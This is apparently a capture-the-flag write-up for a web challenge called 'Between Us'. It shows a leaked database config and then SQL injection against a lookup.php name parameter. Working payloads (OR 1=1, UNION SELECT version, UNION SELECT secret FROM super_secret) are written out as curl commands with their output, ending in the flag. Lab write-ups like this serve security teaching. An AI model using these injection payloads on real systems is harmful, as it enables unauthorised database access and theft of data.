Between Us
450 points. The landing page is a newsroom skin titled THE DAILY SCOOP. Two links carry substance: a press pack zip and a record search. Both were retrieved before any further analysis of the narrative.
The zip is 659 bytes and unpacks to a file named secrets. Its contents are a database
block with a service URL:
datasource db {
provider = "postgresql"
url = "postgresql://olwen:***@localhost:8032/olwendb?schema=public"
}That is the exposed detail. The search page accepts a name parameter and returns a list.
The baseline result is a single row:
ffcurl "http://54.72.82.22:8140/lookup.php?name=Olwen"<li>Olwen</li>The conventional quote break confirms direct interpolation. ' OR 1=1-- - returns two
rows, so the parameter reaches SQL unmodified and the comment terminates the remainder of
the statement.
ffcurl "http://54.72.82.22:8140/lookup.php?name=%27%20OR%201%3D1--%20-"<li>Olwen</li>
<li>Riann</li>A bare ' ORDER BY 1-- - returns nothing, because the statement searches for an empty name
first. That is a dead end. The productive shape is a UNION matching the single-column
output:
ffcurl "http://54.72.82.22:8140/lookup.php?name=%27%20UNION%20SELECT%20version()--%20-"<li>PostgreSQL 15.19 on x86_64-pc-linux-musl, compiled by gcc (Alpine 15.2.0) 15.2.0, 64-bit</li>Database name and current user follow by the same method:
<li>olwendb</li>
<li>snitch_reader</li>Tables are users and super_secret. users holds only id,name. The column of interest
in super_secret is secret:
ffcurl "http://54.72.82.22:8140/lookup.php?name=%27%20UNION%20SELECT%20secret%20FROM%20super_secret%20LIMIT%201--%20-"<li>safctf{73c4979d1dccb358dbfbaca5233666ca}</li>Flag:
safctf{73c4979d1dccb358dbfbaca5233666ca}ORDER BY enumeration is unnecessary here. The zip supplies the database name and the OR
test establishes the injection shape; the remaining work is walking the schema until the
secret column is located.
